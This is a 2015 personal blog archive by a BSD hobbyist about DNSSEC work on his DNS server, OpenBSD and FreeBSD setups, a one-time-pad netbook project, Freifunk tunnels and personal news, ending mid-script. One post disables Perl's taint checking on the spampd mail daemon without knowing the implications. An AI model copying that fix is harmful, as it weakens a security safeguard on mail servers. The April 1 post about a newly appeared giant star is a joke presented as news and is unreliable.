News hit me that Paul Schenkeveld has passed away. This is sad news indeed. I ate at the same table as Paul at EuroBSDCon 2011 and noticed he was a great person. Later I watched some of his Youtube contributions regarding bhyve the BSD hypervisor. Also I enjoyed his interview of Will Backman at BSDCan (forgot year). Even though we hardly knew each other Paul, you will be missed. And I thank you for the help that you provided in all sorts of mediums. Rest in Peace.



ESA what are your plans?

March 31st, 2015

All space projects big and small required planning. And so it is that I am sitting here looking for the plans of ESA for future manned space flight. Why is it that I can't find anything? We know the ISS goes on to 2024, after which the Russians will decouple their part and create a new space station. America has plans to capture a boulder from an asteroid and make it a part of the moon. Also the americans are working on a Mars mission. What is Europe doing?

When 2024 comes around are we going to hitch rides on the russian space station? Or are we going to hitch rides with Americans? Or both? Why not make our own thing? The ISS didn't occur in 1998 without a plan. In fact if you research space station Freedom you'll see it's about as old as the Space Shuttle itself. Mir also existed but it was pressured to be given up in place for the ISS. Even project Apollo that put the first men on the moon required at least a decade planning. So we have 2015 now.. 2024 is in nine years. For me those nine years will likely go pretty quickly. Can ESA let us know their plans beyond 2024?



Astronomers detect giant star in Constellation Pisces

April 1st, 2015

A giant star was sighted by the Sternwarte Schweinfurt. They are unsure where it came from but it suddenly appeared, seen through the main refractor scope at the Sternwarte. For hobby enthusiasts who want to see this new giant star one should direct their scope at these coordinates: Right Ascension: 0:40:0.0 Declination 4:16:0.0. As this star has a giant red-shift (good opportunity to see this is at evening time) the coordinates could change, it is said.



Happy Easter

April 4th, 2015

I had a quiet but good easter friday, hope you did too.



Greece's war reparation demand

April 7th, 2015

Today Greece has uncovered the war reparations cost from World War 2 to Germany at 279 billion euros. Let's put this in perspective. The entire war reparations of World War 1 which led to World War 2, ie. the Treaty of Versailles asked Germany to pay 33 billion 1921 dollars. With inflation that would be 432.73 billion dollars today, which at todays exchange is 398.77 billion euros. So Greece's demand is over 70% of the demand by all Allies on Germany after World War 1. Personally as a German I'd like to pay, given the following demands:

  • We pay 1% per annum at 2.79 billion
  • We pay for 100 years at no interest
  • Greece enters a German-France-Greece military alliance within the EU
Somehow I think the Greeks would say yes to this. However try to convince the _other_ germans that we should pay a cent, and they would not be willing. And then there is always risk for world war 3 because reparation demands are too high. History repeats itself, almost always. BTW the budget for 2013 was 302 billion euros in Germany. Do you think we can put 1% aside?



Wildcarddnsd 0.9.1

April 9th, 2015

I have just made public the 3 months old fix that fixes a mixup of SOA retry and refresh values. I have updated the CVS and made the tarball public at the Wildcarddnsd legacy page. This is likely the last fix before Delphinusdnsd 1.0.0 release in November. If you paid attention I have changed the name of the DNS server.



I have purchased another Riddim

April 10th, 2015

For April I have purchased the "Peace and Love" Riddim from various artists. Peace and Love to Reggae music!



Mac OS X 10.10.3 killed my screensaver!

April 11th, 2015

I upgraded my Apple Yosemite from 10.10.2 to 10.10.3 last night and this morning noticed that the sleeping monitor would not come back after I hit keys on the keyboard. So I thought the HDMI-DVI adapter broke and exchanged it with an HDMI cable to the monitor. Still the same behaviour though. I found a Apple support document that recommends just entering the password on the blank screen and the video would then come back. I'm gonna try this now, I'll let you know how it goes. BTW my Mac is a mac mini from late 2012. It has USB3 ports if that matters any.



Sorry no Linkedin, yet

April 11th, 2015

Someone invited me to Linkedin. Thanks! For now I wish to be independent though. When the time comes, when I need a Linkedin profile, I'll blog about it.



One year of mercury (computer)

April 13th, 2015

On April 22nd, 2014 I received the ordered system which was custom built at a computer shop. The computer is mostly off at nights and weekends and when it runs it's fairly bored. For the type of work I do I need mostly a mail client, a browser and ssh all of which don't put so much load on this system. Yes a web browser could in theory use up a lot of resources but the types of websites I use for work don't do that. This year I plan on repurposing this machine possibly in november/december, to become a bhyve hosting system. I'll need another system replacing it though. Right now I have my sights set on a mac book or MBP that I'll use with a docking system to become my workstation. The mac mini (gaia) may see another repurpose as well, I'm hoping to put OpenBSD on it natively. Not sure if I can do that yet, but the usb3 support in OpenBSD seem promising.



Blog Outtage this Morning

April 15th, 2015

There was a power related issue at the datacenter of my VPS provider in the Netherlands. This caused centroid.eu to be unreachable for a number of hours. Now you know :-(.



The contraction of my VPS network

April 15th, 2015

At one point in time I had three global VPS's rented. One was in Hong Kong, the other in Panama and a third in Nuremberg, Germany. Now I have replaced the Hong Kong VPS with an Amsterdam VPS, and I'll likely replace the Panama VPS with a new Frankfurt VPS hosted at Digital Ocean. As long as I can use FreeBSD there, that is. What this means is that there is a contraction happening. I'm contracting back into Europe from a worldwide presence. I still have to think about why I'm doing this but it's reactionary to outside influences.



Backport of patch for OpenSMTPD 5.4.2p1

April 20th, 2015

Gilles Chehade of OpenBSD/OpenSMTPD fixed the OpenBSD 5.5 and higher version of opensmtpd with this patch. I run FreeBSD with an old port of opensmtpd on io.solarscale.de (one of my vps's) and I have backported this patch to there. Thanks Gilles! Patch is here. Apply it from the smtpd directory inside the release.



Exploring Xephem

April 21th, 2015

Look at this excerpt printed to .ps and later converted to .jpg with gimp.

This came from xephem 3.7.7 RC3, a fantastic program. One thing I noticed however that if you go forward in time the position of the Vernal Equinox which is indicated here as "VEq" does not shift. In another program called stellarium it does change, and the coordinates of RA/DEC change as well with time. I don't know if this is proper that these coordinates change with time but as a rule always provide the date when giving RA/DEC coordinates please. Future Astronomers (in 2500 years) may appreciate that.



Vernal Equinox and Jesus

April 22th, 2015

Forgive me, I'm not really religous. I believe in a god though. When playing with xephem I noticed that the vernal equinox happened around the time Jesus died, in easter. And what is really interesting in this all is that the vernal equinox back then was really close to the constellation Aries. Given mistakes in calculations I beg to tell that Jesus's death was the start of a new age, the Age of Pisces. The time when the vernal equinox would be in the constellation pisces for 2160 years or so. It isn't exactly 2160 years but close. The next age is Aquarius and I wonder if Jesus will reappear just before that time too. Now you may think that this is too Astrologic mumbo jumbo... but the fact is that with precession of the equinoxes the point in the sky for the vernal equinox moves in retrograde fashion.



Bought two singles

April 22nd, 2015

I bought Tommy Lee Sparta's Hero and Spartan Soldier. Thanks goes to SVPRadio for making me aware of the first song, and I took a liking to the second as well it reminds me of the Film that I watched in german called 300. Thanks goes to Youtube for teasing me to buy this.



Donated 50 euros to OpenBSD

April 22nd, 2015

Forgot about blogging this. Last friday I made the transaction to Theo. This is the 2nd quarter donation bringing up donations to 100 euros for this year.



And the Park seemed inviting

April 24th, 2015

My doctors always tell me I should walk more in order to get healthier so I went to the park today.

Sorta like what Carl Sagan said about the cosmos, we've tested the water and the water seemed inviting. I think I'll be doing more of this this spring.



Happy 25th anniversary Hubble!

April 24th, 2015

25 years ago the Hubble Space Telescope was launched into low earth orbit. It allowed astronomers to see stars, nebulas, galaxies and other universe properties without having to worry about cloud cover interference. Happy Birthday Hubble!

Feel free to browse through any of these, there is some real awesome photos especially in the first link (check it's archive).



OpenBSD getting hammerfs through GSOC?

April 28th, 2015

Google has announced their students for Google Summer of Code. OpenBSD is participating and I think the highlight is porting HAMMER2 to OpenBSD. Here is an introduction to HAMMER at DragonFlyBSD's website. I'm intrigued and excited, but also a little concerned whether I'd be able to run hammer with all its options. Nonetheless a brilliant code!



Goodbye Avon!

April 29th, 2015

When my family and I immigrated to Canada in 1987 (we eventually returned to Germany) I attended Avon Public School for grade six. Checking up on Stratford News I noticed the school building closed in 2005 and just recently torn down / demolished. I guess the school only remains a memory now more than before.



Httpd died overnight

April 30th, 2015

Apr 30 01:10:32 supercluster httpd[19759]: logger exiting, pid 19759
Apr 30 01:10:32 supercluster httpd[32319]: server exiting, pid 32319
Apr 30 01:10:32 supercluster httpd[2355]: server exiting, pid 2355
Apr 30 01:10:32 supercluster httpd[28754]: server exiting, pid 28754
Apr 30 01:10:32 supercluster httpd[28494]: server exiting, pid 28494
Apr 30 01:10:32 supercluster httpd[12653]: server exiting, pid 12653
Apr 30 01:10:32 supercluster httpd[5519]: server exiting, pid 5519
Apr 30 01:10:32 supercluster httpd[6672]: server exiting, pid 6672
Apr 30 01:10:32 supercluster httpd[31236]: server exiting, pid 31236
Apr 30 01:10:32 supercluster httpd[10641]: server exiting, pid 10641
Apr 30 01:10:32 supercluster httpd[22967]: parent terminating, pid 22967
No indication on what caused it though. I did have a lot of chinese IP's try to log in as root on my sshd on port 1022 though. Anyways the httpd is back up.



OpenBSD CD's delayed, upgraded anyways

May 2nd, 2015

Well my May 1st went like always. Early in the morning I ftp'ed my OpenBSD stuff that I needed to upgrade to 5.7. And I upgraded my computers here at home throughout the day. I believe the OpenBSD store apologized and said they'd be shipping the CD's around May 7th. There was talk of a damaged master CD and the delay at the manufacturing plant producing the CD's. DeRaadt mentioned this is the first time in 20 years this has happened. I wonder what outside forces caused this... oh well we'll never know.

My setup with chrome being exported from another account stopped working, and I didn't realise it. I noticed I couldn't move the window anymore, it was stuck where it opened. So I thought the windows manager was to blame and I tried out kde4. KDE4 is good and all but I couldn't set a timezone. Then after 2 logins it wouldn't load and left me with a blank screen after login. It had to go. So I went back to fluxbox wm and got rid of the chrome browser hack, now chrome worked fine. This leaves me somewhat vulnerable but at least I can paste urls again, a feature that was greatly missed.



Pension, TV and Books

May 8th, 2015

I managed to get a raise of pay. I can now restart paying into a pension fund and perhaps I'll get that TV. I haven't had a TV in probably 17 years that I owned. I have an Apple TV that I'd connect to it and watch youtube probably, LOL. Also I'll be able to buy more books this year. I'm all around happy. I'll also have to pay catch up to last year since last year the CADEUR (virtual currency, CAD and EUR exchange rate) was not in my favour. This year it seems to be picking up again to 2013 values.



Where do you get your clothes?

May 9th, 2015

Here in Schweinfurt we had one store catering to oversized people (fittingly called Goliath). In early 2014 they closed. So what I do is get my clothes online. My T-Shirt size is 6XL so going shopping in regular stores is out of the question. Just recently I bought a whole batch of boxershorts and t-shirts for like 200 euros from Adamo. The payment and delivery were flawless (per DHL). If you know of any other online stores catering to oversized people in Germany or EU let me know, I'd be interested.



Purchased more Reggae

May 9th, 2015

I have bought today the Demarco True Friend EP, and Jah Vinci - best of Jah Vinci album. I'll be listening to these shortly.



Purchased DJ mixer

May 12th, 2015

Back when I was 19 I had a Gemini ScratchMaster mixer. This mixer I just bought is far from the thing I had back then. It connects via USB to Mac and IOS devices. It was only 124 euros so I felt it was affordable. I plan on DJ'ing for SVPradio where I'd construct a mixing session and DJ Jaz downloads it and streams it to the server. Should be interesting anyhow.



Donated 25 euros toward Nepal

May 12th, 2015

I have donated 25 euros for the Nepalese people. I used Spendenkonto Nothilfe to transfer the funds from my bank account. Here's to hoping for recovery for the nepalese people.



Anexit

May 13th, 2015

I had a chance to talk to Anexit on IRC today. He asked me what my webpage was and I asked his anexit.net, very interesting blog he's got. Anexit is experienced with BSD and this makes it so great to talk to him. Lately he's very busy with his baby daughter but otherwise you could catch him at a BSDCan conference.



Freifunk Tunnel Masters

May 15th, 2015

As you may know freifunk.net tunnels to the outside world. I have made another step. Instead of tunneling to the freifunk.net servers directly from my DSL I'm tunneling through a VPS of mine first. This has the benefit that I can encrypt the traffic leaving the DSL and it can't be picked up by my ISP when they compare a list of servers whether I have freifunk.net. I'm using my udptunnel program that is still closed source but I plan on overhauling it as it doesn't quite encrypt just yet, it just HMAC's. Gonna work on that this weekend. If you don't know what I mean above just think of a tunnel that gets tunneled. My vps is showing 5% more CPU on average and I suspect it's a similar story with my router here at home. Also right now I do about 200 GB of traffic so my VPS sees twice that amount. Because the VPS is in Amsterdam there is more latency on the freifunk link, but it gets discounted the fastpath on my DSL, so it's about even as if I had just changed providers.



OpenBSD 5.7 arrived

May 15th, 2015

15 days after I installed 5.7 on all my systems the CD's arrived. This doesn't really make me mad. But then I checked CD2 and this is what i found:

mercury# cd /cdrom
mercury# ls
5.7        OFWBOOT    PORTS      SHA256.SIG
HARDWARE   PACKAGES   README     TRANS.TBL
mercury# more TRANS.TBL
D 5.7                                   5.7
F HARDWARE                              HARDWARE
F OFWBOOT                               ofwboot
					^^^^^^^^
notice the ofwboot should have been lowercase when I read the CD. This is probably a broken disk. It still doesn't make me mad. I got a great booklet and stickers, and that makes me very happy. The CD's are probably coasters and I hope the plant screwup doesn't repeat itself for 5.8. I'm glad to support Theo de Raadt and OpenBSD, even when the CD's are screwed up once in a while, they are still a plastic receipt that I buy into this product.



Holidays less than a month away

May 19th, 2015

I'm looking forward to my holidays. Simply because I'll be working on Delphinusdnsd to put DNSSEC into it. I hope I will succeed with that, it's my major personal project for this year and I hope I don't get side-tracked. I've got 3 weeks to get something written. I'm looking forward to releasing delphinusdnsd 1.0.0 in November 2015.



My udptunnel program is open source now

May 21st, 2015

The udptunnel that I use to tunnel freifunk with is now open source. You can look at it through here. Enjoy.



Pre-Ordered Ten of Hearts

May 21st, 2015

I have pre-ordered Alaine's Ten of Hearts album, which is scheduled to be released in 5 days or so. I have Alaine's Without You album and I like how she sounds.



Advocacy for OpenBSD

May 21st, 2015

On the OpenBSD Journal there was an article that featured this article to show among others that OpenBSD is and I quote "an important ingredient in an EU strategy for more security and technological independence".

When I came to the EU, I had OpenBSD 3.1 in my pocket with me and I used this almost at any opportunity. I have been lucky. I grew up with this stuff in Canada since age 19 and OpenBSD releases since 2.5. Right now I don't have a consumer router but rather an enterprise router made by Soekris running OpenBSD. I plan on getting a PC-Engines APU router to run OpenBSD on it soon. Both these routers allow me this security and technological independence, talked about in the above article. The consumer routers over and over again prove to be unreliable and faulty security wise.



Computers are better Rappers? Perhaps...

May 22th, 2015

I grew up on hip hop and rap in my teenager years. I had a language burden to overcome and it wasn't easy, but I think I got the point. Now then researcher in Finland have developed a rapping algorithm called deep beat (german link). And this may be good and all and I'm sure the algorithm will be used to produce Hip Pop, but what the mainstream media never knew was that it wasn't the glorious rappers that interested us. We wanted to hear the message, and the perfection of a human to deliver this on to us. Now you can write a rhyme and practice it but how well are you gonna be in freestyling. That's where people get mad respect. Sure they recycle parts they practiced before probably but rapping from the head top isn't an easy thing. In my experience hip hop was the experience itself and that can't be told, you have to experience that yourself. I look up to the god and my friends who gave me a message that was, what's the word, benevolent. If you want to understand I invite you to watch 40 years of Hip Hop by KRS-One. I can't guarantee you'll understand it but he tries to teach you. My personal take on hip hop is that to repeat what I experienced in the 1990's you'd have to time travel, it cannot be repeated. Some qualities and friendships remain from that time because we know what we went through in those days. I am gonna stop, there is no words to this...



Purchased another Album

June 4th, 2015

This one is from Richie Spice "Book of Job". I'm going to listen to it now.



Vacation in a week

June 5th, 2015

I go on vacation in a week. I'm really excited. I hope I'm going to get a lot of programming done then, as I have 3 weeks vacation.



Purchased two Books

June 6th, 2015

I haven't purchased a book in at least three months. It's time to get something fresh. I got: Postfix: The Definitive Guide (Classique Us), Kyle Dent... and Hacking Exposed Wireless: Wireless Security Secrets and Solutions, Joshua Wright and Johnny Cache. These will give me something to read during the holidays and perhaps inspire me.



I'm on Vacation

June 13th, 2015

Finally! Now the Delphinus DNS is gonna get dusted off and I'll be planning how I'm gonna do this in the next few days. I have 3 weeks to get something working. Also the summer solstice will be around in a week or so. Be prepared for that! It's when the sun is at its highest in the northern hemisphere and at its lowest in the southern hemisphere. It is also the official start of summer in the northern hemisphere until the september equinox.



Delphinusdnsd Hack days, entering production..

June 18th, 2015

This is a status update of how my progress on putting DNSSEC into delphinusdnsd is going. I haven't started on the DNSSEC part yet but I have partitioned/fragmented the database structure on delphinusdnsd with the underlying BerkeleyDB. I then had to iron out a few bugs also caused by taking out code. I was able to put delphinusdnsd into production today but I'm monitoring it carefully. At any time I can switch back the old stable wildcarddnsd that was running on io.solarscale.de until today. Next steps are to look at how my zone signer tool is working, it'll likely take me a bit since it's written in ruby. You won't see this tool until later it's not in the CVS tree yet. For those curious in watching what is being changed can see so at the delphinusdnsd viewvc.



The First Ever DNSSEC answer from Delphinusdnsd

June 20th, 2015

From my offline lab:

;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27891
;; flags: qr aa; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;centroid.eu.                   IN      A

;; ANSWER SECTION:
centroid.eu.            86400   IN      A       10.10.10.10
centroid.eu.            86400   IN      RRSIG   A 5 2 86400 20150720035019 \
20150620025019 65076 centroid.eu. DL+H2ilV8W9Ft34kryxm74+aaO5ZI3xe23++lXb44\
jOksKtQBG5wSvDT uFpe2+QbVVG9UVBt0orrufzr2X1DB4y3t1Vuo6azX3GeXLixnwW1DHiO dV\
DBqfKRMTyoHosQKgaZzkcFQL9l+TDPdfWqAClKNx3LX/56UQycKTmp O/Y=

;; Query time: 0 msec
I'm still in the process of ironing out bugs and adding functionality...stay tuned!



Happy Solstice!

June 21st, 2015

Solstice was great, but we had full cloud cover and it spit a little from above too. Anyhow tomorrow I'm going to be back programming on DNSSEC for Delphinusdnsd and i'm really looking forward to it. Cheers!



Donated 150 euros to the Red Cross

June 22nd, 2015

The city that I live in (Schweinfurt) is getting a refugee centre which is in a part of the old Ledward Baracks, where the US Army used to be in. They are opening the centre in July I believe. It serves as a 1st contact site for refugees who are expected to stay in the city for up to 3 months. The Red Cross is overlooking clothing the refugees who aren't expected to have much clothing with them, so I have donated 150 euros and my family added 50 euros more making a total of 200 euros donation. The website of the local red cross is here. BTW yes this is the same Red Cross that I worked for a year as told on my resume.



Delphinusdns Project sponsors Luke Antins

June 22nd, 2015

I have sponsored Luke Antins to add on some resource records on his Ruby dns-zone gem. I'll need this gem to do a conversion tool between BIND and DelphinusDNS zonefiles, and especially do background conversion between signed zones. Luke accepted to the work and it's expected to be done by the time I get around to starting the ruby conversion tool, some time next week. Luke has a website at float64.uk. I'm absolutely thrilled about this and I'm so glad that we're able to do this on an open source basis.



Art display of my parents creations

June 23rd, 2015

My mother and my dad are showing off their work, at the Kunsthalle Schweinfurt starting on the 26th of June until the 12th of July. My mom is a potter and my dad is a photographer, both their work will be on display.

If you're around the Schweinfurt area and appreciate good art, perhaps this will interest you. This may be my parents last display together, so this is a unique view of their display suitably called "signatures of time - double play". I'll likely visit this art exhibit on friday when I'm in the area of the art gallery. I won't be at the opening unfortunately.



Vacation cut short

June 24th, 2015

Unfortunate events at work have cut my vacation short. I'm back working. What does this mean for delphinusdnsd? I don't know I can't finish it on my vacation now. I'll see if I can get some time off in september or so.



Donated 50 euros to OpenBSD

June 25th, 2015

I just wrote a 50 euro donation to Theo de Raadt. I'll be bringing the transfer to the bank tomorrow.



RFC 4034 compliant AFAIK

June 25th, 2015

I have added NSEC, and DS RR's to delphinusdnsd in the last 24 hours. I believe with a bit of converting effort a signed DNSSEC zone being served would be possible. But I don't want to stop there yet. I still want to do NSEC3 and NSEC3PARAM (RFC 5155). And a frontend to a zonesigning tool written in Ruby will be on the menu too, not sure when I have time for that though. You can check out the CVS repo at emea.centroid.eu if this interests you at all.



Status update on Delphinusdnsd and DNSSEC

June 28th, 2015

Well a lot was done but a lot of work remains.

  • NSEC and NSEC3 need to be added to NOERROR and NXDOMAIN replies
  • SOA replies need NSEC* I think.
  • PTR replies and CNAME still need RRSIG addons
  • Any replies and AXFR still need to be including the new RR's
  • The ruby conversion tool needs to be finished, right now I'm converting BIND style zones by hand
And then I need to go through the checklists and debug. I think I'll do that in October when I perhaps will get another holiday for a week (to make up for my cancelled vacation). I figure there is about 2-3 more weeks of work left to do (at about 1-2 hours a day).



AKW Grafenrheinfeld has shut down over night

June 28th, 2015

According to this article at telepolis the nuclear power plant at Grafenrheinfeld which is about 8 km's from here has shut down, forever, last night. I'm very happy about this. Here is a picture of this plant:

The linked article tells that there is 8 nuclear powerplants left in Germany. I hope they shut soon as well.



I have donated 20 euros to the Greece bailout fund

July 3rd, 2015

There is a fundraiser going on to bail out Greece. I first read about this here. So I have added 20 euros to this fund. If everyone in the EU donates 20 euros then we'd have bailed them out over 5 times the amount. Or if every family of five spends 20 euros we'll have hit the mark. Good luck Greece!



Power outtage this morning

July 4th, 2015

We had a power outtage this morning and a transformer exploded causing a 40 minute outtage to many parts of Schweinfurt. All my computers have reset but thankfully none were damaged. I had one router with a 4000 hour uptime or so, it has now reset. So I'm not gonna learn from this because I already made plans to buy a bunch of UPS's in late August. It'll be three in total one for my setup in my living room, one for the hallway and one for my home office. Hoping the electricity grid will hold until then.



It definitely was hotter than 2003

July 6th, 2015

Yesterday was the hottest day on record, seriously (since 1884 when records started being kept). Spectacularily we had a thunderstorm and lots of lightning yesterday night when the darkness came. It lowered the temperature by half in a matter of 1 hour or so. Now we have 23 degrees C and a bit of breeze, but it's probably gonna get hot again.



Freifunk was affected by an MTU issue

July 7th, 2015

A router at the N-IX exchange point caused fragmented packets of my tunnel to be thrown out. Here is the traceroute:

venus# traceroute io.solarscale.de 1538
traceroute to io.solarscale.de (78.47.14.22), 64 hops max, 1578 byte packets
 1  ppp-default.m-online.net (82.135.16.28)  16.24 ms  16.091 ms  15.946 ms
 2  xe-2-0-1.r5.nue1.m-online.net (212.18.6.79)  16.252 ms  16.225 ms  16.196 ms
 3  * *^C
The third hop would have been:
 3  nix-gw-2.hetzner.de (195.85.217.30)  6.837 ms  7.292 ms  7.099 ms
So I have notified hetzner.de of this routing issue. Many protocols require fragmentation including dns with DNSSEC. But also my freifunk tunnels required this and for the past three weeks service was affected. Sorry to my freifunkers who have seen problems. I have routed to my backup tunnel which doesn't have this issue.



Signatures of Time - Double Play

July 9th, 2015

Today I was at my parents art exhibition at the Kunstverein Schweinfurt. It was excellent, I really enjoyed it. I made this photo.

After I had lunch with my parents, and was able to congratulate them on a very good exhibition. They told me some articles were already sold. Those with a red dot near them, which I didn't notice but I'm happy for them.



Hand-Down and a Story

July 10th, 2015

I have handed down the above items to someone in Erlangen city as a gift to Freifunk Franken. The items are 2 x 20 feet of Wifi antenna cable with barrel connectors on each end and a 2.4 GHz Antenna possibly a Lucent. I bought these in Toronto in the year 2000.

Back in 2000, I wanted to be a provider of internet services (I still do). And wifi came on the scene. I envisioned back then that perhaps I could network a neighbourhood and have them downstream of a 10 Mbit/s ethernet to another provider. So I bought as a test base 3 wifi cards of the pcmcia type and 3 antennas and 2 cables of the above kind. I never got to play with these because of a missing component which was called pigtails. And I was extremely busy so I never got around to playing with these. The dream wasn't crushed it just never was fulfilled.

Today there is a citizen organisation called Freifunk in Germany that pretty well does all this stuff that I envisioned back then. It's 15 years later now, progress was made. I'm fairly happy with how things are going so I'm parting with this stuff.



Status update of Delphinusdnsd and DNSSEC

July 10th, 2015

I didn't get much done last week since it was too hot. The weather has calmed a little and it's gotten cooler so I'm anxiously waiting to get back to it. I'm currently working on NSEC3 replies on NXDOMAIN and NOERROR answers. I still have to do AXFR and ANY answers, as well as DS replies upon delegation requests. Then comes the challenging part of writing a ruby wrapper to sign zones. I have lots of time until release though which will be in November. I'm gonna take it in stride.



Purchased Reggae

July 11th, 2015

I have gotten an EP and a Riddim:

  • Her Name is Denyque - Denyque
  • City Life Riddim
I'll be listening to this now.



Purchased Netbook

July 13th, 2015

Almost 3.5 years after getting my last netbook, I have gotten a new one. It'll be here in 6-9 business days. It's an Acer Aspire V3 I believe... yep. I'm crossing my fingers that this laptop allows OpenBSD to run because of the UEFI thing that discourages users of open source. Anyhow this netbook is similar to the old perhaps a bit faster. I'm using both netbooks for a project of mine, meaning I won't keep them long. Details of the project will emerge in time.



Donated $15 to FreeBSD Foundation

July 15th, 2015

15 seems to be the number of the day, it was spontaneously picked. It's interesting that the US dollar and the Euro are almost 1:1. Anyhow this concludes my yearly donations to FreeBSD, I still have a bit of money for OpenBSD to be distributed next season (after september).



My CryptoBook

July 17th, 2015

I purchased an Acer Aspire V3-112. It didn't get full support from OpenBSD. But that's not what I purchased it for. I will now reveal what I purchased it for. My Uncle asked me "how do you encrypt?", and I told him "it's very difficult". There is several factors why it's difficult.

  • Encryption is very hard to do right as a programmer
  • Encryption tools that promise full privacy often lie
  • Often complexity gets in the way of something that should be simple.
My Uncle seemed a little impatient with me. I told him that a one time pad is perfect encryption given the fact that the pad is not repeated, and it's simple to make. We left it at that. But it got me thinking how I can give the gift of encryption to my Uncle. And I thought of my netbook which was affordable still and runs OpenBSD, if I could give him a netbook that does everything then we solved a problem.

So I bought pluto (computer) this netbook. At first I envisioned writing the OTP program in X11 but when pluto turned out to not like X11, I turned toward the console. I wrote a script that calls a compiled program that handles the one time pad. As it turned out the script didn't function right and I had to rewrite it in C. So imagine you get a netbook and you turn it on and it says this:

So the protocol I developed works on a one time pad. The pad can be generated with this cryptobook. OpenBSD has a fairly cool random number generator, however, to guarantee complete safety this cryptobook does not talk over the network. It can't I have removed all network drivers from the kernel. So the only way to transfer files to/from this cryptobook is with a memstick. Just as long as you know that a memstick with a FAT32 filesystem can only hold a 4 GB sparse file minus one byte. That would be the pad. Now OpenBSD takes all sorts of sources for entropy, but I have removed the network drivers and everything else is pretty much guessable. So I have turned the microphone on permanently as a background job that writes everything it hears to /dev/null. When generating the pad I hope someone is gonna listen to some funky music that stirs the random number generator well.

Back to the protocol. Since my dad told me, my Uncle doesn't send too much mail in a year, the problem of keeping track of offsets of the pad pretty well solved itself. I generate a random number for the offset of the pad. Now there is a chance that there is a collision which renders the message useless. But I think we'll get lucky with low encrypted traffic. So what happens is you put the documents you want encrypted into a special directory. Then you chose "encrypt" on the cryptobook and it chooses those files in the directory to be encrypted by the pad. Similarily to decrypt there is another directory to stick encrypted files in and it'll decrypt them. The offset of the pad is part of the header on encrypted files.

I'm going to leave it at that. If there is more to write I'll do so later. I'm proud of this little project.



Macbook Pro and things

July 23rd, 2015

Yesterday, I bought a Macbook Pro. This wasn't a spontaneous decision, it was something I planned for a longer time. I also bought some other things like an external keyboard (USB Mac) an Intel NUC and a 10 port USB 3.0 Hub (although it only gets detected as a 2.0 Hub for some reason). I also bought Windows 8.1 and I'm looking forward to upgrading it to Win 10. On my old netbook saturn (computer) I migrated the windows 7 off there to a vmware fusion vm, it also will see a win 10 upgrade. So I was configuring everything yesterday as i was copying it over and I had a few things that caused me pain. In vmware fusion running OpenBSD and the mac keyboard made the @ sign disappear. I fixed that with researching the manpages and googling. Here is my .xsession as it looks finally:

xset m 10 1
setxkbmap 'de(mac_nodeadkeys)' -print | xkbcomp - $DISPLAY
xrandr -s 1920x1080

exec fluxbox
This allows me to use the keyboard with the @ sign at Alt-L. The ^ sign and > and < signs are reversed on the keyboard still but it beats having to not find the @ sign. I do use the OpenBSD vm for my main things, as I'm in my comfort zone with this. It's a little slower than working with the Xeon which is going to get repurposed into a private cloud computer running bhyve on FreeBSD, but it's an Core i5 after all on this Macbook Pro.

I'll have pictures once I have everything set up like I want it. Right now I'm out of 220V electricity ports and I'm going to soon order my UPS backup solutions that I also wanted to get.



Purchased the Kingston Jamaica Riddim

July 24th, 2015

I liked this riddim when I heard Demarco sing to it. So I purchased it. It's nice.



New Network Plans

July 24th, 2015

I wrote this on a pad today. (Yes it's the pads given out at EuroBSDCon 2011). I'm testing something with beta.swshell.de, something that may make me some money. So temporarily that's how it'll look.



Two CryptoBooks side by side

July 25th, 2015



Opinion: Hacking Team are pigs

July 27th, 2015

I recently read something that hacking team said they are "victims". Yet they are the ones that sold malware to governments far and wide to infiltrate computers at border points or via the Internet. These guys are low of the low. A good hacker in my mind is a defensive one, not an aggressive offensive one. So these guys are far from good.

This brings up another point. Germany's defence minister is playing with the thought of installing an offensive cyber capability in the german military. What a mistake! Again, work up your defenses not offenses. As the only victims in an offensive military are civilians and we are the ones who really need help.



Delphinusdnsd status update

July 28th, 2015

Well the hot days are over I believe. So I'm itching to get back to this. Perhaps next week I'll be able to write some code as this week is filled in my schedule.



CryptoBooks virtualized

August 2nd, 2015

In order to make use of cryptobook in more parts of my family I have virtualized it. That sorta defeats the point but buying a cryptobook does tend to get expensive. Here is a vmware version of cryptobook:

And here is a virtualbox version of cryptobook:

These aren't for sale unfortunately.



Bought Reggae

August 6th, 2015

I have purchased Romain Virgo's album "The System", it's an older album but I used to watch his videos on youtube.



.. and a Riddim

August 8th, 2015

There is only four songs on the Cloud Nine Riddim. But it's sweet. Too bad they couldn't pack-in an instrumental to this.



Ordered a Book from Amazon

August 9th, 2015

I bought Design and Implementation of the FreeBSD Operating System, by McKusick et al. Second edition! Having looked through this book I can tell it'll be insightful. I bought the Design and Implementation of the 4.4BSD Operating System from the same author around 1996. I had struggled with it, it's not an easy read and they recommend a Tanenbaum for newbies first. Which I did, (buy a Tanenbaum) and it was worth it. Now only I hope there is some similarities left between FreeBSD and OpenBSD like mbuf's. :-). Can't port something without understanding both systems anyhow. So.. that only leaves someone to write Design and Implementation of the OpenBSD System, hint hint. Anyhow I think this McKusick book will be great.



Spampd and taking the -T out

August 9th, 2015

I must have wasted 2 hours trying to get spampd to work on a FreeBSD jail with most recent ports. This was the error message:

Aug 09 11:15:51 testmail spampd[86796]: 2015/08/09-11:15:51 Insecure dependency 
in open while running with -T switch at /usr/local/lib/perl5/site_perl/Net/ \
Server/Daemonize.pm line 75.    at line 179 in file /usr/local/lib/perl5/ \
site_perl/Net/Server.pm 
I tried everything, permissions, and ownership changes and all would work. So finally I figured out that -T belongs to perl and not spampd or spamassassin. when taking it out in /usr/local/sbin/spampd in the first line it worked. I don't know enough of the implications of this but I'm sick of wasting a sunday afternoon on a stupid -T. It stays off.
root@testmail:/usr/local/etc/rc.d # perl --version

This is perl 5, version 20, subversion 2 (v5.20.2) built for amd64-freebsd-thread-multi

Copyright 1987-2015, Larry Wall



I started shuffling my $HOME/.ssh directory

August 10th, 2015

There have been reports (real reports) of firefox allowing a remote attacker from reading ssh keys. To make it harder on the attacker I'm shuffling my .ssh directory with this script:

#!/bin/sh

TMPDIR=`mktemp -u /home/pjp/.ssh-XXXXXXXXX`
BASE=`basename $TMPDIR`
SSHLOCATIONX=`find .ssh* -name sshlocation -print`
SSHLOCATION=`dirname $SSHLOCATIONX`

mv /home/pjp/${SSHLOCATION} $TMPDIR

sed -e "s/@XXXXXXXXXX@/${BASE}/g" \
